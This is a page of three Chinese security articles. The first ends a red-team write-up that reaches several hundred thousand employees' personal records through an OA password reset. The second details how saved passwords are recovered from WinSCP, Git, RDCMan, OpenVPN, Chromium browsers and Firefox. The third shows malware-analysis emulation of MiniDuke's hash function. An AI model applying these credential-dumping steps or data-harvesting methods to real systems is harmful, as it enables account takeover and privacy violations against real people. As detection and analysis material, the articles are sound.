接下来寻找敏感数据，通过对数据库搜寻发现大部分的数据信息已被脱敏存储。
ibfdwmdcznj13966.jpg
翻看了获取的数据库里涉及业务的公民个人信息发现全被脱敏存储了，企业内部的一些系统登录人员个人信息倒是没有脱敏存储，但是数量较少。
获取个人信息
只好换种思路，打算矛头指向办公区电脑（因一些企业、学校和医院之类的个人信息有时候会存储在个人电脑excel中，方便整理使用，特别疫情时期人员的核酸信息） 继续使用TideFinger详细的搜集内网资产，发现了内网存在oa系统。通过收集数据库中含有管理员、高层、企管专员、总裁、信息中心和主任相关的工号、身份证号、姓名、密码、生日等个人信息。
hhrsmm5wpzx13969.jpgt4hu123nbfh13973.jpg3pxj3dx4xkt13977.jpg
尝试发现可成功登录oa系统，即使密码错误的账号，也可通过忘记密码重置密码（重置密码需要填写身份证+工号）
opbyv2lgnhw13979.jpg
最终在oa中发现了2020-2022年的核酸检测名单等，其中包括各地分公司以及各厂区人员信息几十万余条。
3kfp1qkbjx413982.jpg
总结
随着近些年攻防演练的开展，防守单位对于安全的投入也越来越多，特别是安全防护、安全设备以及蓝队防守人员的加入，使得打点变的尤为困难。所以还是需要不断学习师傅们的思路，从而提高自己的姿势水平呀。


原文链接：https://mp.weixin.qq.com/s/KrbCMEn_8C7XcsHxGSwnIA

		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
在軟件行業，可用性和安全性一直是個矛盾。許多第三方程序可以通過存儲用戶的憑據方便用戶使用。然而，事實證明，這種便利通常是以安全性性為代價的，從而導緻密碼被盜的風險。以這種方式收集的憑據可以在實際的網絡攻擊期間使用。



攻擊者如何擴展其訪問權限很明顯，憑據盜竊是很危險的。但是，有必要強調憑據盜竊可能產生的影響規模。



許多人傾向於在不同的程序中使用相同的密碼，並且很少更改他們的密碼。到了修改密碼的時候，許多人都遵循可預測的模式。



因此，當攻擊者可以從一個來源獲得密碼時，他們可以嘗試使用它來攻擊其他資源，包括一些更受保護的資源。因此，對於每個安全的程序A，用戶可以在不太安全的程序B 上使用相同的密碼或模式，這可能導致程序A 的安全性降低。



此外，如果發現有人在其他不太安全的地方使用他們的操作系統密碼，那麼攻擊者就會打開一個全新的可能性世界。



例如，假設某人X 對他的Windows 帳戶域和Linux FTP 文件服務器使用相同的密碼。在這種情況下，X用戶使用常用程序WinSCP在文件服務器上管理自己的文件。儘管WinSCP 建議不建議保存密碼，但是X用戶每週都會訪問這個文件服務器，所以他們更願意節省時間，保存密碼。



 1.png



WinSCP 不建議保存密碼



正如我們稍後將演示的那樣，用戶的密碼可以很容易地從WinSCP存儲密碼的地方獲取。可以在X 的個人計算機上立足的攻擊者可以獲得他們的域帳戶密碼，只是因為它被不安全地保存了。最重要的是，密碼對於連接到文件服務器是有效的。該文件服務器可能包含攻擊者現在可以訪問的敏感信息文件。那樣，攻擊者可以使用像BloodHound 這樣的工具來估計他們可以在一個組織內傳播多遠。



以WinSCP為例進行具體分析WinSCP是常用的一種SFTP客戶端和FTP客戶端，用於在Windows本地計算機和遠程服務器之間通過FTP、FTPS、SCP和SFTP複製文件。



測試版本：5.19.6 (Build 12002 2202-02-22)



憑據存儲在哪裡？



WinSCP將加密後的用戶密碼存儲在如下所示的註冊表項下的一個名為Password 的值中。



 加图1.png



如何恢復憑據？



WinSCP工具對用戶密碼的位數進行對稱數學運算。它獲取密碼的每個字節，計算0xFF(11111111)的補碼，然後用字節0xA3(10100011)對其進行異或運算。



加密過程包括找到補碼並執行一次異或運算。然後將密碼存儲在密碼註冊表值中。由於這些數學運算是對稱的，我們需要做的就是以相反的順序再次執行相同的兩個運算，以獲得原始值。



例如，讓我們以一個常用的密碼為例：Aa123456。 “1D3D6D6E6F68696A”密碼在WinSCP工具上的存儲方式如下。



在下圖中，我們看到了解密密碼的步驟：



 2.png



解密存儲在WinSCP 中的密碼



密碼與主機名和用戶名一起保存。要從密碼註冊表值中獲取它，我們必須找到密碼開頭的索引。這個計算非常簡單，根據WinSCP版本，註冊表值的第一個或第三個字節是連接的用戶名、主機名和密碼的長度。起始索引是長度的下一個字節，其值乘以2。長度和起始索引都以相同的方式加密。



主機名和用戶名也保存在不同的註冊表值上，因此我們知道它們的長度和值。我們所做的就是從索引中解密密碼註冊表的值：開始索引+用戶名長度+主機名長度，我們就會得到我們的密碼。



 3.png



連接的用戶名、主機名和密碼的位置



野外利用



我們已經看到在多個客戶環境中執行了以下腳本：



 4.png



可疑的PowerShell編碼命令



-enc表示EncodedCommand，這意味著將使用一個base-64編碼的字符串作為命令。



在解碼的腳本中，我們可以看到嘗試解密WinSCP 密碼：



 5.png



用於提取和解密WinSCP 密碼的PowerShell 腳本



 6.png



Cortex XDR阻止了讀取存儲在WinSCP中的密碼的嘗試



以Git為例進行具體分析測試版本：2.35.1.windows.2。



憑據存儲在哪裡？



Git 允許同時使用密碼和個人訪問令牌(PAT)。



當用戶想通過保存他們的Git憑據來節省時間時，他們可以使用以下命令：



gitconfigcredential.helper'store'使用這個命令，Git將以純文本的形式無限期地將用戶的憑據保存在磁盤上。



可能包含密碼的文件：



 加图2.png



Git 允許使用PAT 作為憑據，而不是傳統的密碼使用。這些令牌更加模塊化，因為可以創建任意數量的訪問令牌，每個令牌具有不同的權限和過期日期。



雖然可以以更模塊化和更細粒度的方式控制用戶的操作，每個操作都與特定的PAT 相關聯，但是擁有用戶PAT的任何人都可以查看用戶可以訪問的所有存儲庫。



這些標籤也以明文形式出現在上面提到的相同文件中。



如何恢復憑據？



任何閱讀這些文件的人都會以純文本形式看到用戶名、密碼或令牌以及相關的Git 存儲庫。



以RDCMan為例進行具體分析測試版本：2.83



RDCMan可以管理多個遠程桌面連接。它對於管理需要定期訪問計算機的服務器實驗室非常有用，比如自動簽入系統和數據中心。



憑據存儲在哪裡？



當用戶決定使用RDCMan 保存會話密碼時，默認配置文件將為%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings。



這個文件是一個XML文件，包含關於每個RDP連接的通用元數據。在這些數據中，有一個名為CredentialsProfiles的XML標籤引起了我們的注意。



我們可以看到，在這個標籤下，還有另一個名為CredentialsProfiles的標籤，其中還有credentialsProfile XML標籤，以及一個Password 標籤。



 7.png



查看RDCMan.settings中的XML標籤



如何恢復憑據？



要檢索密碼，我們必須在使用RDCMan程序的用戶的上下文中執行命令。這是因為密碼是使用數據保護API (DATA Protection API, DPAPI)保存的，該API 可以分別使用CryptProtectData和CryptUnprotectData函數對任何類型的數據進行對稱加密和解密。



因此，為了獲得密碼，我們需要調用CryptUnprotectData函數。



通常，唯一可以解密數據的用戶是與加密數據的用戶具有相同登錄憑據的用戶。



儘管從RDCMan 收集憑據需要攻擊者採取比我們其他一些示例中所需的額外步驟，在相關用戶的上下文中運行軟件，但結果對攻擊者來說具有很大的價值。如果成功，攻擊者就有可能獲得該特定用戶連接到的所有計算機的所有用戶和密碼。



一旦攻擊者能夠在用戶的上下文中執行命令，為了收集憑據，剩下要做的就是：



打開RDCMan.settings 文件並檢查密碼XML 標籤；



使用base64 解碼標籤中的字符串；



使用解碼的密碼字符串調用CryptUnprotectData；



使用UTF-8（或其他相關格式）對結果進行解碼；



刪除不必要的空字符；



看看上面的例子，保存在文件中的密碼是：



AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAA8/nnW5aFNUi0AKiTG4y9UQAAAAACAAAAAAAQZgAAAAEAACAAAADIjLLw0X4z9RDdWgPpqabLU7hTcJ1HVlFklpzX3eA14QAAAAAOgAAAAAIAACAAAAB01OvDCNCjaEhrq8J8hRm/SKyc ef7nR52ZkqcPLJqMsCAAAACg2htaeRsutDziS3FISeEAg3DsBpGxBGpPeWlUSVnXOkAAAAB5Tei9g5KWcVIhOKQ2cXxr5ONUOHMEEH5h3Lmp12mPlWaaZ6y8dGIVz8WnNKr4e73dhqNU8NyzI7RZBamS6DG6解密後的密碼是Aa123456。



 8.png



從RDCMan中恢復密碼



以OpenVPN為例進行具體分析測試版本：2.5.029。



OpenVPN 是一個虛擬專用網絡系統，它實現了在路由或橋接配置和遠程訪問設施中創建安全的點對點連接的技術。



憑據存儲在哪裡？



OpenVPN 將用戶的密碼存儲在如下所示的註冊表項下的一個名為auth-data 的值中。



 加图3.png



如何恢復憑據？



OpenVPN還使用了DPAPI機制，並附加了可選的熵參數（可以設置為NULL）。



當在加密階段使用可選的熵DATA_BLOB結構時，必須在解密階段使用相同的DATA_BLOB結構。



在OpenVPN的情況下，熵保存在一個名為熵的註冊表值中。熵註冊值也存儲在如下路徑。



 加图4.png



因此，使用來自auth-data 和熵（來自熵）的密碼調用CryptUnprotectData 將為我們提供會話密碼。



熵註冊表值包含一個額外的字節00，所以我們只需要省略它。



 9.png



上面是恢復OpenVPN密碼的PowerShell腳本。下面，通過reg.exe (POC) 顯示auth-data 和entropy 註冊表值的方式。



以基於Chromium 的瀏覽器為例進行具體分析測試版：



Google Chrome——測試版本：103.0.5060.53（官方版本）（64 位）；



Microsoft Edge——測試版本：103.0.1264.37（官方版本）（64 位）；



Opera——測試版本：88.0.4412.53；



Chromium 項目包括Chromium，它是Google Chrome 瀏覽器背後的開源項目。



在典型的使用例程中，許多人傾向於在上網時保存密碼。



 10.png



Google Chrome 版本102.0.5005.115（官方版本）（64 位）保存的密碼



憑據存儲在哪裡？



在使用基於Chromium 的瀏覽器（如Microsoft Edge、Opera 或Google Chrome）時，密碼被加密位於SQLite 數據庫文件中，通常稱為登錄數據。



每個配置文件都有一個密碼數據庫，即它的登錄數據文件。



用於加密密碼的密鑰位於父文件夾中的名為本地狀態的JSON 文件中。



例如：



登錄數據位置：



 加图5.png



區域位置：



Google Chrome: %localappdata%\google\chrome\user data\local state



Microsoft Edge: %localappdata%\microsoft\edge\user data\local state



Opera: %appdata%\opera software\opera stable\local state



如何恢復憑據？



登錄數據庫中的每個密碼都使用高級加密標準(AES) 以GCM 模式進行加密。 AES GCM是一種對稱加密方法，因此相同的密鑰對加密和解密都有效。 AES算法對每個128位數據塊使用不同的密鑰，該密鑰基於前一個塊的計算。對於第一個塊，可以選擇使用初始化向量(IV)。



要解密基於Chromium 的瀏覽器保存的密碼，我們需要：



加密的密碼；



初始化向量；



AES 密鑰；



讓我們看看如何檢索它們：



加密密碼



可以從登錄數據數據庫中導出：加密的密碼從password_value列中取出，從第15位的字母到末尾的16個字母。 [15:-16]



初始化向量



位於相同的password_value 字段列中，從第3 位的字母到第15 位的字母。 [3:15]



AES密鑰



寫在本地狀態JSON 文件中，在密鑰os_crypt 和encrypted_key 下，用base64 解碼。



基於Chromium 的瀏覽器使用DPAPI 機制保存AES 密鑰，因此要獲取它，我們必須從base64 解碼它並在用戶的上下文中使用CryptUnprotectData。



來自谷歌Chrome的示例：



 11.png



保存在Google Chrome 本地狀態JSON 文件中的密碼



它以五個字母開頭的前綴保存：DPAPI。



 12.png



保存在Google Chrome 中的解碼密碼



如果攻擊者能夠在用戶的上下文中運行，那麼完成收集用戶憑據所需要做的就是：



複製登錄數據和本地狀態文件；



從本地狀態JSON文件中獲取AES GCM密鑰；



解碼(base64)，解密(CryptUnprotectData)並從密鑰中刪除填充；



使用解密的AES GCM 密鑰解密登錄數據數據庫中的每個密碼；



 13.png



用於恢復Chrome 中保存的密碼的POC



你可以閱讀有關如何在Python 中提取Chrome 密碼的更多信息。



野外利用



我們看到在excel.exe中使用regsvr32.exe運行了以下DLL：



 加图6.png



（kgnkudbadmpogg.dll 的SHA256：6599FEE8C7ADF30A00889A7070600F472F8CEAD8EA4DD1A85E724ED15F2AED0F）



在一系列操作之後，最終的有效負載試圖訪問Microsoft Edge 憑據文件：



登錄數據文件（SQLite 數據庫文件）如下所示：



 加图7.png



本地狀態文件（包含加密密鑰）如下所示：



 加图8.png



 14.png



Cortex XDR 檢測到讀取保存在Microsoft Edge 瀏覽器中的密碼的嘗試



以Firefox瀏覽器為例進行具體分析測試版本：Firefox 版本101.0.1（64 位）



使用其他瀏覽器（例如Mozilla Firefox）時，密碼保存行為模式也很重要。



 15.png



Firefox 版本101.0.1（64 位）保存的密碼



憑據存儲在哪裡？



與基於Chromium 的瀏覽器類似，在Mozilla Firefox 瀏覽器中，每個配置文件也有自己的密碼文件。



此文件名為logins.json，位於以下位置中：



 加图9.png



用戶名和密碼均以加密方式保存。



 16.png



Firefox 的logins.json 文件中保存的密碼



如何恢復憑據？



logins.json 文件中的每個用戶名和密碼都使用PKCS #11 加密標准進行加密。 Firefox 開發了NSS 庫，以便在其瀏覽器(nss3.dll) 中採用此標準。



NSS 將私鑰存儲在名為key3.db 或key4.db 的文件中，具體取決於NSS 版本。



要檢索用戶的密碼，攻擊者必須訪問其中一個文件和logins.json 文件。



因此，如果攻擊者能夠獲得在同一台計算機上運行的權限，那麼竊取密碼的過程將是：



攻擊者復制logins.json 文件；



加載NSS 庫(nss3.dll)；



從logins.json 的副本中解碼（base64） encryptedUsername 和encryptedPassword；



將每個輸入存儲在一個SecItem 對像中，該對象稍後在整個NSS 中用於來回傳遞二進制數據塊；



創建用於輸出的SecItem 對象；



使用nss3.dll 中的PK11 解密函數解密每個encryptedUsername 和encryptedPassword 輸入對象，並將數據存儲在新的SecItem 輸出對像中；



與基於Chromium 的瀏覽器的情況不同，攻擊者不必在用戶的上下文中運行以獲取用戶的密碼，而是可以利用任何有權訪問目標用戶的文件系統配置文件的用戶。


		

		
		

			

		

	
	


		
			



	

		

			


	
		HireHackking
	

			
		

	

	

		

			
微信截图_20220928141315.png



對於逆向工程師來說，直接從分析的二進制代碼中調用函數的能力是一種捷徑，可以省去很多麻煩。雖然在某些情況下，理解函數邏輯並在高級語言中重新實現它是可能的，但這並不總是可行的，而且原始函數的邏輯越脆弱和復雜，這種方法就越不可行。在處理自定義哈希和加密時，這是一個特別棘手的問題，如果計算中的某個地方出現一個錯誤，就會導致最終輸出完全不同，而且調試起來非常麻煩。



我們將在本文中，介紹3 種實現此“捷徑”的不同方法，並直接從彙編中調用函數。我們首先介紹IDA Pro原生支持的IDA Appcall功能，可以直接通過idpython使用。然後我們演示如何使用Dumpulator實現同樣的行為，最後，我們將展示如何使用Unicorn Engine模擬得到該結果。本文中使用的實際示例基於MiniDuke惡意軟件示例實現的“經過調整的”SHA1哈希算法。



MiniDuke 實現的改進的SHA1 Hashing 算法MiniDuke示例中經過修改的SHA1算法用於為惡意軟件配置創建每個系統的加密密鑰。要哈希的緩衝區包含與所有接口描述的DWORD 連接的當前計算機名稱，例如'DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte'。此函數(SHA1Hash) 在初始摘要和中間階段使用與原始SHA1 相同的常量，但產生不同的輸出。



 1.webp.jpg



MiniDuke SHA1Hash 函數常量



由於在原始和修改後的SHA1 中使用的常量都相同，因此差異必須出現在函數的1241 條彙編指令中。我們不能說這種調整是否是故意引入的，但事實仍然是惡意軟件開發者越來越喜歡插入這樣的“驚喜”，而處理它們的責任就落在了分析師身上。為此，我們必須首先了解函數期望其輸入並產生其輸出的形式。



事實證明，Duke-SHA1彙編使用自定義調用約定，其中要哈希的緩衝區長度在ecx寄存器中傳遞，而緩衝區本身的地址在edi中傳遞。從技術上講，在eax 中也傳遞了一個值，但是每當可執行文件調用該函數時，該值都是相同的0xffffffff，因此我們可以將其視為常量。有趣的是，惡意軟件還在每次調用該函數時將緩衝區長度(ecx)設置為0x40，僅對緩衝區的前0x40 個字節進行有效地哈希處理。



 2.webp.jpg



SHA1Hash 函數參數



由此產生的160位SHA1哈希值在寄存器中以5個dword的形式返回(從高到低: eax, edx, ebx, ecx, esi)。例如，緩衝DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte的Duke-SHA1值為1851fff77f0957d1d690a32f31df2c32a1a84af7，返回為EAX:0x1851fff7 EDX:0x7f0957d1 EBX:0xd690a32f ECX:0x31df2c32 ESI:0xa1a84af7。



 3.webp.jpg



生成的SHA1緩衝區哈希示例



如上所述，查找SHA1和Duke-SHA1的邏輯發生分歧的確切位置，然後在Python中重新實現Duke-SHA1，不過這個方法非常浪費時間。接下來，我們將使用幾種方法來“插入”函數的調用約定並直接調用它。



IDA–AppcallAppcall是IDA Pro的一個功能，它允許IDA Python腳本在調試程序中調用函數，就像它們是內置函數一樣。這是非常方便的，但它也不是通用的，即當用例變得有些不尋常或複雜時，應用難度會急劇上升。雖然在ecx 中傳遞緩衝區長度和在edi 中傳遞緩衝區是正常的，但在5個寄存器中分割160位的返回值並不是典型的函數輸出形式，Appcall 需要一些創意來解決這個問題。



接下來，我們創建了一個自定義結構struc_SHA1HASH，它保存了5個寄存器的值，並用作函數原型的返回類型：



 4.png



IDA 結構窗口——“struc_SHA1HASH”



現在有了結構定義， Appcall 就可以與這個函數原型交互，如下面的PROTO 值所示。



 5.png



由於IDA Appcall依賴於調試器，為了調用這個邏輯，我們首先需要編寫一個腳本來啟動調試器，對堆棧進行必要的調整，並執行其他必要的管理工作。



 6.png



IDA視圖——堆棧調整



使用Appcall是最後一步，有幾種方法可以利用它來調用函數。我們可以在不指定原型的情況下直接調用函數，但這高度依賴於IDA 的IDB 中正確類型的函數。第二種方法是根據函數名和定義的原型創建一個可調用對象。通過這種方式，我們可以調用帶有特定原型的函數，無論在IDB中設置了什麼類型，如下所示：



 7.png



使用Appcall 調用Duke-SHA1 的完整腳本如下所示。



 8.png



還有一些示例輸出：



 9.webp.jpg



腳本執行——“IDA Appcall”產生與MiniDuke 樣本相同的SHA1 哈希值



如果我們只是想將被調用的函數用作黑盒，那麼上面的方法是可以的，但有時我們可能希望在執行的特定狀態下訪問註冊表值，並且像上面那樣指定原型是一件繁瑣的事情。令人高興的是，這兩個缺點都可以被優化。



由於IDA Appcall 依賴於調試器並且可以直接從IDAPython 調用，因此我們可以從調試器調用Appcall 並對其執行進行更精細的控制。例如，我們可以通過為Appcall 設置一個特殊選項——APPCALL_MANUAL 來讓Appcall 在執行過程中將控制權交還給調試器。



 10.png



通過這種方式，我們可以使用Appcall來準備參數，分配一個緩衝區，然後恢復之前的執行上下文。我們也可以避免為返回值指定結構類型(將其輸入為void)，因為這將由調試器處理。有更多的方法來獲取函數的返回值，因此當控制調試器，就可以使用條件斷點在特定的執行狀態(例如在返回時)打印所需的值。



 11.png



我們可以通過調用cleanup_appcall()在任何需要的執行時刻恢復之前的狀態（在Appcall 調用之前）。在我們的例子中，正好在遇到條件斷點之後。



 12.png



完整的腳本如下：



 13.png



DumpulatorDumpulator是一個python庫，它幫助在minidump文件中進行代碼模擬。 dumator的核心模擬引擎基於Unicorn engine，但在同類工具中有一個比較獨特的特點，那就是可以獲得整個過程的內存。這帶來了性能改進（在不離開Unicorn 的情況下模擬大部分已分析的二進製文件），如果我們可以在調用函數所需的程序上下文（堆棧等）已經就位的時候計算內存轉儲的時間，那麼就更方便了。此外，只有模擬系統調用才能提供真實的Windows環境（因為實際上一切都是合法的進程環境）。



可以使用許多工具(x64dbg - MiniDumpPlugin, process Explorer, process Hacker, Task Manager)或Windows API (MiniDumpWriteDump)捕獲所需進程的一個minidump。我們可以使用x64dbg - MiniDumpPlugin在幾乎所有進程都已經設置為SHA1哈希創建的狀態下創建一個minidump，就在SHA1Hash函數調用之前。注意，沒有必要以這種方式對轉儲進行計時，因為在進行轉儲後，可以在轉儲器中手動設置環境，這只是為了方便而已。



 14.webp.jpg



使用“x64dbg - MiniDumpPlugin”創建minidump



Dumpulator不僅可以訪問整個轉儲的進程內存，還可以分配額外的內存、讀取內存、寫入內存、讀取註冊表值和寫入註冊表值。換句話說，模擬器可以做的任何事情。也有可能實現系統調用，因此可以模擬使用它們的代碼。



要通過Dumpulator調用Duke-SHA1，我們需要指定將在minidump中調用的函數的地址及其參數。在本例中，SHA1Hash的地址為0x407108。



 15.webp.jpg



在IDA 中打開生成的minidump



因為我們不希望在minidump的當前狀態中使用已經設置的值，所以我們為函數定義自己的參數值。我們甚至可以分配一個新的緩衝區，用作哈希的緩衝區。完成此任務的代碼如下所示。



 16.png



執行此腳本將生成正確的Duke-SHA1值



 17.webp.jpg



腳本執行——“Dumpulator”產生與MiniDuke 樣本相同的SHA1 哈希值



Emulation–Unicorn Engine對於模擬方法，我們可以使用任何類型的CPU模擬器(例如Qiling、Speakeasy等)，它們能夠模擬x86彙編，並具有針對Python語言的綁定。因為我們不需要任何更高的抽象級別(系統調用，API函數)，我們可以使用其他大多數引擎的基礎設施——Unicorn Engine。



Unicorn是一個輕量級、多平台、多體系結構的CPU模擬器框架，基於QEMU，它是用純C語言實現的，並綁定了許多其他語言。我們將使用Python綁定。我們的目標是創建一個獨立的函數SHA1Hash，它可以像Python中的任何其他普通函數一樣被調用，產生與MiniDuke中原始函數相同的SHA1哈希。我們使用的實現背後的想法非常簡單——我們只需提取函數的操作碼字節並通過CPU 模擬使用它們。



提取原始函數操作碼的所有字節可以簡單地通過idpython或使用IDA→Edit→Export Data來完成。



 18.png



使用IDA“Export data”對話框導出SHA1Hash函數的操作碼字節



與前面的方法一樣，我們需要設置執行上下文。在本文示例中，這意味著為函數準備參數，並為提取的操作碼和輸入緩衝區設置地址。



 19.png



請注意，應從提取的操作碼列表中刪除最後一條retn 指令，以免將執行轉移回堆棧上的返回地址，並且應通過指定ebp 和esp 的值手動設置堆棧幀。所有這些都顯示在下面的最終Python 腳本中。



 20.png



腳本輸出如下所示：



 21.png



腳本執行——“Unicorn Engine”產生與MiniDuke示例相同的SHA1哈希值



總結上述所有直接調用彙編的方法都各有優缺點。給我們留下特別深刻印象的是簡易的Dumpulator，它是免費的，執行起來很快，而且非常有效。它非常適合編寫通用字符串解密器、配置提取器和其他上下文，在這些上下文中，必須依次調用許多不同的邏輯片段，同時保留難以設置的上下文。



當我們希望直接使用調用特定函數產生的結果來豐富IDA數據庫時，IDA Appcall功能是最好的解決方案之一。系統調用可以是Appcall在實際執行環境中使用的函數的一部分——使用調試器。 Appcall最大的優點之一就是快速而簡單的上下文恢復。由於Appcall依賴調試器，可以與idpython腳本一起使用，理論上它甚至可以作為模糊器的基礎，向函數提供隨機輸入以發現意外行為（即錯誤），但這種方法的消耗太大。



通過Unicorn Engine 使用純仿真是獨立實現特定功能的通用解決方案。使用這種方法，可以按原樣獲取部分代碼並在不連接到原始示例的情況下使用它。此方法不依賴於可運行的示例，並且僅適用於部分代碼重新實現功能。對於不是連續的、易於轉儲的代碼塊的函數，這種方法可能更難實現。對於發生API 或系統調用的部分代碼，或者難以設置執行上下文的代碼，前面提到的方法通常是更好的選擇。